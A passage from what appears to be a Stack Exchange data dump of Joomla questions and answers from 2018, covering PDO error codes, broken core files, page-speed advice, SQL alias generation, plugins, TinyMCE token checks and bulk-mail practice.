suggest somewhere to start looking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Amanda&lt;/p&gt;&#xA;" OwnerUserId="12696" LastActivityDate="2018-07-10T11:43:49.677" Title="Admin warning 0000" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23122" PostTypeId="2" ParentId="23121" CreationDate="2018-07-09T22:52:53.493" Score="2" Body="&lt;p&gt;00000 is an SQL error usually, and the fact that debug doesn't show anything further suggests that it's coming from outside of php land. I'm guessing that you're trying to use pdo, switch to mysqli and then it should work.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-07-09T22:52:53.493" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23123" PostTypeId="2" ParentId="23121" CreationDate="2018-07-10T11:43:49.677" Score="1" Body="&lt;p&gt;You are seeing the &lt;code&gt;errorInfo&lt;/code&gt; data.  The good news is that what is being displayed actually means NO errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;errorInfo&lt;/code&gt; serves up: &lt;code&gt;array('00000', null, null)&lt;/code&gt; everything is functioning flawlessly ...or at least one of your queries ran flawlessly.  You see, it may serve up the last successful query and not express a subsequent error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, you don't really want to see that mess so the solution should be to apply this setting to your pdo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The easiest place to add this attribute is immediately after your connection (where ever you are doing that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/pdo.setattribute.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/manual/en/pdo.setattribute.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few relevant StackOverflow posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/39830887/2943403&quot;&gt;PDO not inserting - error code 00000&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/11813911/2943403&quot;&gt;PHP PDO. error number '00000' when query is correct&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/11519966/2943403&quot;&gt;PDO SQL-state “00000” but still error?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/10562735/2943403&quot;&gt;After creating table it shows this Array ( [0] =&gt; 00000 [1] =&gt; [2] =&gt; )&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-07-10T11:43:49.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23124" PostTypeId="1" AcceptedAnswerId="23132" CreationDate="2018-07-10T12:12:09.547" Score="2" ViewCount="504" Body="&lt;p&gt;We encounter some problems with a 'new' Joomla! website. A customer has moved there website to our server with the error below. This error was also present on previous server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also can't get into administrator section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Class '\Joomla\CMS\Input\Input' not found in httpdocs/libraries/loader.php on line 663 &#xA;&#xA;Error: Failed to start application: Class 'Joomla\CMS\Input\Input' not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12698" LastEditorUserId="12698" LastEditDate="2018-07-10T12:40:21.557" LastActivityDate="2018-07-12T09:04:55.250" Title="Joomla white screen - Class '\Joomla\CMS\Input\Input' not found" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23125" PostTypeId="1" CreationDate="2018-07-10T13:33:58.100" Score="0" ViewCount="151" Body="&lt;p&gt;I have a lot of loading time in my Joomla websites. The idle time is over 2 sec.&#xA;On the website I have 125 SQL queries.&#xA;I use Helix Ultimate with the SP Pagebuilder Pro&#xA;Link to my Website: &lt;a href=&quot;http://www.wawi24.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.wawi24.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12699" LastActivityDate="2018-08-11T19:01:31.537" Title="Why Is My Loading Time So Long?" Tags="|joomla-3.x|helix3|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23126" PostTypeId="2" ParentId="17416" CreationDate="2018-07-11T06:48:55.377" Score="0" Body="&lt;p&gt;change the X-frame option to SAMEORIGIN from deny in .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the same thing form my website too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Header set X-Frame-Options SAMEORIGIN&lt;/p&gt;&#xA;" OwnerUserId="12592" LastActivityDate="2018-07-11T06:48:55.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23127" PostTypeId="2" ParentId="23125" CreationDate="2018-07-11T09:31:46.487" Score="0" Body="&lt;p&gt;Ok so there are a couple of issues here&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Time To First Bye (TTFB)&lt;/li&gt;&#xA;&lt;li&gt;General performance&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, firstly, you're going to want to get your hosting providers to install a free SSL cerificate (Let's Encrypt) which will utilise HTTP/2.0 and improve the speed at which assets are fetch from the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TTFB is something you hosting provider is going to have to look into. That said, sometimes it's simply a matter of where the datacenter is. For example, if you live in Europe, don't use a hosting provider in the US or Asia, simply because they are further away and the latency will be a lot higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to the general performance, well you're using one of those horrible template frameworks which doo all kinds of fancy things for users, but are a terrible performance killer. This includes Helix, Warp, Gantry and the rest of them.&#xA;You ideally want to asyncronously load your assets. In Joomla 3, this is a little harder for Javascript due to the event listeners, but you can definitely do it for CSS, images and fonts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using the LightHouse speed test with Google Chrome as you gradually make improvements&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-07-11T09:31:46.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23128" PostTypeId="2" ParentId="23073" CreationDate="2018-07-11T16:57:48.650" Score="3" Body="&lt;p&gt;I believe this should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE m5cob_mt_links &#xA;SET alias = REPLACE(SUBSTRING_INDEX(LOWER(link_name), ' ', 5),' ','-');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Added REPLACE for ampersand, comma, and double dashes as well as a conditional for blank alias.  There is probably a more succinct way of doing the REPLACEs, but this is a workable solution for now.&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE m5cob_mt_links &#xA;SET alias = REPLACE(REPLACE(REPLACE(REPLACE(SUBSTRING_INDEX(LOWER(link_name), ' ', 5),' ','-'),'&amp;amp;',''),&quot;,&quot;,&quot;&quot;),'--','-')&#xA;WHERE alias = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastEditorUserId="464" LastEditDate="2018-07-12T11:35:53.710" LastActivityDate="2018-07-12T11:35:53.710" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23129" PostTypeId="1" CreationDate="2018-07-12T00:54:15.783" Score="1" ViewCount="169" Body="&lt;p&gt;I am building a component which will act as a API for a front end and was curious about something.&#xA;For example if I call the url &lt;a href=&quot;http://example.com/index.php?option=com_helloworld&amp;amp;task=shout&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/index.php?option=com_helloworld&amp;amp;task=shout&lt;/a&gt; it will work without any problem. This is all in my components main controller.php file. However I want to add a constructor to define class variables to use throughout my various functions (tasks). If I then try to run a task, it will give me a 404 error saying the task can't be found. If I remove the constructor it works again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess my question is can I run a task with a constructor in the controller.php file or is it because I am targeting a specific task it won't run, which seems odd to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have a class variable and set that to a model I will be using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class myController extend JController {&#xA;public $studentModel;&#xA;public function __construct($config = array()) {&#xA;    $this-&amp;gt;studentsModel = $this-&amp;gt;getModel('students');&#xA;    parent::__construct($config);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can this be done? I will be using the model in multiple tasks. I know its only 1 line but it would be helpful. I have tried but I can't access any of the functions in the model.&lt;/p&gt;&#xA;" OwnerUserId="9575" LastEditorUserId="9575" LastEditDate="2018-07-17T00:39:57.563" LastActivityDate="2018-07-17T00:39:57.563" Title="Can't run task when there is constructor" Tags="|joomla-3.x|custom-component|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23132" PostTypeId="2" ParentId="23124" CreationDate="2018-07-12T09:04:55.250" Score="2" Body="&lt;p&gt;I replaced the core files with new core files from a fresh Joomla! installation and the error is gone.&lt;/p&gt;&#xA;" OwnerUserId="12698" LastActivityDate="2018-07-12T09:04:55.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23134" PostTypeId="1" AcceptedAnswerId="23135" CreationDate="2018-07-12T14:28:42.037" Score="2" ViewCount="142" Body="&lt;p&gt;I need to execute some PHP code on every admin view/action. E.g&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file_put_contents('somelogfile.log', 'I just executed admin action');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where should I put this code so that it wont be swept away when I should upgrade my Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla version is 3.8.6.&lt;/p&gt;&#xA;" OwnerUserId="9433" LastEditorUserId="9433" LastEditDate="2018-07-12T14:39:39.757" LastActivityDate="2018-07-12T15:46:23.553" Title="Execute PHP code on every call" Tags="|joomla3.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23135" PostTypeId="2" ParentId="23134" CreationDate="2018-07-12T15:20:42.357" Score="3" Body="&lt;p&gt;You can create a plugin. See &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla automatically calls enabled Plugins on each trigger event.&lt;br&gt;&#xA;Depending on the state the application has to be in for your code to be executed, you can choose the appropriate trigger event. See &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also existing plugins that allow you to just place your code in the configuration interface in the backend. I haven't tried those though and I don't know if they work on every event.&lt;/p&gt;&#xA;" OwnerUserId="12705" LastEditorUserId="12705" LastEditDate="2018-07-12T15:46:23.553" LastActivityDate="2018-07-12T15:46:23.553" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23136" PostTypeId="2" ParentId="23125" CreationDate="2018-07-12T17:21:16.267" Score="1" Body="&lt;p&gt;I checked your website, you have messed up image urls. Below is the list of images your website is trying to load but failing and adding to the unwanted load time. Recheck your urls and you'll definitely see a increase in response time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.wawi24.net/images/2018/05/15/lieferantenverwaltung.png&#xA;http://www.wawi24.net/images/2018/05/28/angebote.png&#xA;http://www.wawi24.net/images/2018/05/28/vorgangsbersicht.png&#xA;http://www.wawi24.net/images/2018/05/28/vorgangsfortfhrung.png&#xA;http://www.wawi24.net/images/2018/05/29/vorgangsarten.png&#xA;http://www.wawi24.net/images/2018/06/05/kontoauszugsimport.png&#xA;http://www.wawi24.net/images/2018/06/05/mitarbeitereinschraenkungen.png&#xA;http://www.wawi24.net/images/2018/06/05/personeneinschraenkungen.png&#xA;http://www.wawi24.net/images/2018/06/13/listenfunktion.png&#xA;http://www.wawi24.net/images/2018/06/13/terminplaner.png&#xA;http://www.wawi24.net/images/2018/06/15/formulardesigner.png&#xA;http://www.wawi24.net/images/2018/06/15/auswertung.png&#xA;http://www.wawi24.net/images/2018/06/18/auswertung.jpg&#xA;http://www.wawi24.net/images/2018/06/19/druckfunktion.png&#xA;http://www.wawi24.net/images/2018/06/19/datenbankfelder.png&#xA;http://www.wawi24.net/images/2018/06/19/maskeneditor.png&#xA;http://www.wawi24.net/images/2018/06/25/datenzuordnung.png&#xA;http://www.wawi24.net/images/2018/06/25/datenexport.png&#xA;http://www.wawi24.net/images/2018/06/25/afs_logo_wei.png&#xA;http://www.wawi24.net/images/2018/05/14/adressverwaltung.png&#xA;http://www.wawi24.net/images/2018/05/14/adressdatenfeatures.png&#xA;http://www.wawi24.net/images/2018/05/15/artikelverwaltung.png&#xA;http://www.wawi24.net/images/2018/05/25/warengruppen.png&#xA;http://www.wawi24.net/images/2018/05/07/headmain.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="383" LastActivityDate="2018-07-12T17:21:16.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23137" PostTypeId="2" ParentId="23073" CreationDate="2018-07-12T23:37:54.807" Score="1" Body="&lt;p&gt;If you are running MySQL 8.0+, you have access to the powerful and task-appropriate &lt;code&gt;REGEXP_REPLACE()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad news is &lt;code&gt;REGEXP_REPLACE()&lt;/code&gt; is not suitable for use in a single query solution until you have access to the not-yet-released MySQL 8.0.12 that &lt;a href=&quot;https://dba.stackexchange.com/q/212125&quot;&gt;fixes a bug&lt;/a&gt; with the function.  This is &lt;a href=&quot;https://dbfiddle.uk/?rdbms=mysql_8.0&amp;amp;fiddle=cfa7a860501b6af43180aff9acbd3760&quot; rel=&quot;nofollow noreferrer&quot;&gt;what happens with the sub-8.0.12 bug when updating multiple rows at once&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From MySQL 8.0.12+, here is my suggested query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `m5cob_mt_links` &#xA;SET `alias` = SUBSTRING_INDEX(REGEXP_REPLACE(REGEXP_REPLACE(LOWER(`link_name`), '[^a-z ]+', ''), ' +', '-'), '-', 5)&#xA;WHERE `alias` = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This forces all characters to be lowercase, eliminates unwanted characters, then replaces one or more spaces with a single hyphen, then truncates the string to a maximum of 5 &quot;words&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you are willing to the query &lt;em&gt;n&lt;/em&gt; times -- each time with &lt;code&gt;LIMIT 1&lt;/code&gt; appended to each query -- you can avoid the buggy outcome.&lt;/strong&gt; &lt;a href=&quot;https://dbfiddle.uk/?rdbms=mysql_8.0&amp;amp;fiddle=c383ee267122bb1f6500c180ced75c8b&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a demo.&lt;/a&gt;  So if this were my project, I'd go into phpMyAdmin or WorkBench, generate ~50 copies of the query, and execute the batches of queries until there were no more affected rows.  This will deliver the most accurate and reliable results on your ~900 rows.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you are inclined to use a PHP workaround, this will have the same effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/8NtZd&quot; rel=&quot;nofollow noreferrer&quot;&gt;See the results with modified fringe cases in this online demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// SELECT `link_id`, `link_name`, `alias` FROM `m5cob_mt_links` WHERE `alias` = ''&#xA;// indexed resultset...&#xA;$resultset = [&#xA;    [6, 'Convivio Bar &amp;amp; Restaurant Chester Cheshire UK', ''],&#xA;    [7, 'Slug and Lettuce Chester Cheshire UK', ''],&#xA;    [8, 'Da Rosa Restaurant &amp;amp; Wine Bar Torrevieja Costa Blanca Spain', ''],&#xA;    [9, 'Bar Lounge Chester Cheshire UK', ''],&#xA;    [10, 'Telfords Warehouse Chester Cheshire UK', ''],&#xA;    [11, 'The Botanist Chester Cheshire UK', ''],&#xA;    [12, 'Missoula Chester Cheshire UK', ''],&#xA;    [13, 'Fiesta Havana Chester Cheshire UK', ''],&#xA;    [14, 'El Oceano Hotel Restaurant, Torrenueva, Marbella, Malaga', ''],&#xA;    [15, 'La Plaza Restaurant Riviera del Sol Mijas Costa Malaga Spain', '']&#xA;];&#xA;&#xA;foreach ($resultset as $row) {&#xA;    $purged = preg_replace('~[^a-z ]+~', '', strtolower($row[1]));&#xA;    $split = preg_split('~ +~', $purged, 6, PREG_SPLIT_NO_EMPTY);&#xA;    $new_alias = implode('-', array_slice($split, 0, 5));&#xA;    echo &quot;{$row[0]}: $new_alias\t\t(from: {$row[1]}\n&quot;;&#xA;&#xA;    // UPDATE `m5cob_mt_links` SET `alias` = '$new_alias' WHERE `link_id` = $row[0]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... yes, this too means ~900 UPDATE calls, but if I understand correctly, this is a one-off table repair job.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To offer a pure sub-MySQL8.0 query in a single call to achieve the desired result ONLY on the out-of-range characters from your provided sample input (&lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;,&lt;/code&gt;), you &lt;em&gt;could&lt;/em&gt; use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://dbfiddle.uk/?rdbms=mysql_8.0&amp;amp;fiddle=8bb026d3b8085856d8a6ad49257c5739&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fiddle Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE m5cob_mt_links&#xA;SET link_alias = SUBSTRING_INDEX(REPLACE(REPLACE(REPLACE(REPLACE(LOWER(link_name), '&amp;amp;', ''), ',', ''), ' ', '-'), '--', '-'), '-', 5)&#xA;WHERE link_alias = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bad news here is that it is very difficult to read/maintain and is incredibly inflexible because it requires an additional &lt;code&gt;REPLACE()&lt;/code&gt; call for every new replacement character.  &lt;strong&gt;This query will not handle the numbers and additional symbols that you mention in your question -- not out of the box anyhow.&lt;/strong&gt;  Depending on your real data, you may need to run &lt;code&gt;REPLACE(val, '--', '-')&lt;/code&gt; twice to mop up lingering consecutive dashes.  It seems an unfortunately tedious task to have to review your query's success on the ~900 rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*note that in both of my query-based solutions, &lt;code&gt;SUBSTRING_INDEX()&lt;/code&gt; is called last.  This ensures that you receive the maximum number of words in your 5-word grab.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-17T11:43:31.780" LastActivityDate="2018-07-17T11:43:31.780" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23140" PostTypeId="1" AcceptedAnswerId="23141" CreationDate="2018-07-16T15:29:58.517" Score="0" ViewCount="73" Body="&lt;p&gt;I have a form, which add some data to DataBase.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA; &amp;lt;input type=&quot;text&quot; name=&quot;mydata&quot; /&amp;gt;&#xA; &amp;lt;textarea name=&quot;mytext&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA; &amp;lt;?php echo JHtml::_( 'form.token' );?&amp;gt;&#xA; &amp;lt;button type=&quot;submit&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clicking Submit, I send data to outside script, which insert data to DB. I'm checking session token (to prevent csrf attack) and then make script actions. To do this, I use Joomla JSession method &lt;code&gt;checkToken()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/../..' ));&#xA;&#xA;require_once ( JPATH_BASE. '/includes/defines.php' );&#xA;require_once ( JPATH_BASE. '/includes/framework.php' );&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;$session = JFactory::getSession();&#xA;$session-&amp;gt;checkToken() or die('Access denied');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all good, when script look like above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I init TinyMCE plugin for textarea, using &lt;a href=&quot;http://tiny.cloud&quot; rel=&quot;nofollow noreferrer&quot;&gt;tiny.cloud&lt;/a&gt; docs, I have &quot;Access Denied&quot; response from script.&lt;/p&gt;&#xA;" OwnerUserId="8039" LastEditorUserId="12352" LastEditDate="2019-11-16T23:07:38.017" LastActivityDate="2020-08-13T00:07:35.843" Title="CheckToken() error when TinyMCE init" Tags="|joomla-3.x|php|tinymce|security-token|jsession|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23141" PostTypeId="2" ParentId="23140" CreationDate="2018-07-16T16:01:48.467" Score="0" Body="&lt;p&gt;Found answer. The problem, that TinyMCE have own submit function and submit form &#xA;independently of my ajax.&#xA;Add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setup: function(editor){&#xA; editor.on('submit', function(){&#xA;  return false;&#xA; });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to tinymce init config and &lt;code&gt;tinymce.triggerSave()&lt;/code&gt; before Ajax function, and it will be all good.&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2018-07-16T16:01:48.467" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23143" PostTypeId="1" AcceptedAnswerId="23144" CreationDate="2018-07-17T05:55:33.493" Score="1" ViewCount="1168" Body="&lt;p&gt;I need to get id of current module in helper.php file of mod_menu.&#xA;But there is no module parameters in this script.&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2018-07-17T06:24:56.610" Title="Get module id in helper file" Tags="|joomla-3.x|php|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23144" PostTypeId="2" ParentId="23143" CreationDate="2018-07-17T06:24:56.610" Score="3" Body="&lt;p&gt;I am not suer what exactly you are trying to do but&#xA;the module Id is known to the module's main php file (mymodule.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only thing you have to do is pass to the helper's function as a param that value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mymodule.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;JLoader::register('ModMyModuleHelper', __DIR__ . '/helper.php');&#xA;&#xA;ModMyModuleHelper::myHelpersFunction($module-&amp;gt;id); // call the function in helper.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your helper file in this function you will have the id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;helper.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class ModMyModuleHelper&#xA;{&#xA;&#xA; public static function myFunction($moduleId) {&#xA;    echo $moduleId;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-07-17T06:24:56.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23145" PostTypeId="2" ParentId="18131" CreationDate="2018-07-18T07:50:27.280" Score="0" Body="&lt;p&gt;There is no setting to hide item title on Tagged Items view. You have to create a template override of /components/com_tags/views/tag/tmpl/default_items.php (or list_items.php, depending on which layout you use) and edit it to remove the title. Look for lines containing &lt;code&gt;$item-&amp;gt;core_title&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-18T07:50:27.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23146" PostTypeId="1" CreationDate="2018-07-18T08:56:27.927" Score="0" ViewCount="60" Body="&lt;p&gt;In order to develope my own subscription module, what is the best practice sending mail to a list of users: send only one mail with multiple bcc recipients or send one mail per recipient? In case of send one mail per recipient, should I delay each message? how long?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't like my ip was blacklisted.&lt;/p&gt;&#xA;" OwnerUserId="12715" LastEditorUserId="126" LastEditDate="2018-07-18T12:28:26.090" LastActivityDate="2018-07-18T12:28:26.090" Title="Best practices sending mail" Tags="|category|subscriptions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23147" PostTypeId="2" ParentId="23146" CreationDate="2018-07-18T10:09:28.500" Score="1" Body="&lt;p&gt;I suppose it all depends on how many recipients you will have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of all of them, but there are probs and cons for both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending an email to each individual recipient will allow you to personalise the subject/body, use tracking URLs etc. That said, it will take longer for PHP to send all the emails, depending on how many recipients you have. For example, if you have 250k recipients, you may be waiting a while. In addition to this, it may also put a strain on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bcc will take a lot less time as the process will only happen once, but it won't allow personalisation, tracking URLs and you may run into a bcc limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet will be to utilise a 3rd party SMTP email distributor which will take the heavy load off your hands. Mandrill is one of them but I don't believe they have a free package anymore so you may want to look around for others.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-07-18T10:09:28.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23148" PostTypeId="2" ParentId="23146" CreationDate="2018-07-18T12:28:16.443" Score="1" Body="&lt;p&gt;Note that this is not exactly a Joomla question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have provided only a few details, and also it's not clear of what exactly you are after. And what is the subject of the best practices you ask? Best practices regarding avoiding your IP being blacklisted? &#xA;If there is a such possibility then I guess the chances are the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avoiding server IP from blacklisting on spam filters is certainly not a Joomla topic, while being a broad one with many factors to be considered and a list of items to be configured on the server level. It is also related to the way a user is using the email service. If you start sending spam - or your receivers consider it as spam, then most likely you will be blacklisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, sending mass emails today is something that has been moved away from the same website hosting server and usually handled by related email marketing services, like &lt;a href=&quot;https://mailchimp.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mailchimp&lt;/a&gt; or &lt;a href=&quot;https://www.constantcontact.com/index.jsp&quot; rel=&quot;nofollow noreferrer&quot;&gt;ConstantContact&lt;/a&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check also this older question in this site:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/17854/mass-mail-50k-users-solution/17855#17855&quot;&gt;Mass mail 50k + users, solution?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-07-18T12:28:16.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23149" PostTypeId="2" ParentId="21155" CreationDate="2018-07-19T06:35:57.407" Score="1" Body="&lt;p&gt;I give a solution on this just for the new readers who may are looking for solution on this kind of problems. You cannot really solve this problem with Joomla query methods. As it was given above, a simple MySQL query like &quot;INSERT IGNORE INTO&quot; should work but it is not always the right solution. Instead, the &quot;INSERT INTO...ON DUPLICATE KEY UPDATE&quot; MySql query works. Why? Because if a record already exists, then it will be just updated (probably with the same record or with an updated record with the same ids and unique fields, so it is not a problem), if the record does not exist, then it will be created, inserted as a new record in the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, understanding this particular problem in the original question (in this problem you want to insert or update a pair of keys into the table), you should not make the two columns in the table UNIQUE - &quot;original_id&quot; and &quot;analogue_id&quot;. Because if you make them unique then you cannot insert again a pair of new keys where one of the keys is the same as the earlier inserted key of the pair. For example you earlier inserted a pair of keys like original_id = 1 and analogue_id = 1, and now you try to insert a new pair like original_id = 1 and analogue_id = 2. If these keys are both UNIQUE in the table you will not be able to insert the second pair as new pair and at the same time you will not want to update them either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I would do is I would generate (in my code) a real UNIQUE key from the original_id and analogue_id keys and I would insert them together with the generated Unique key into the table. And then 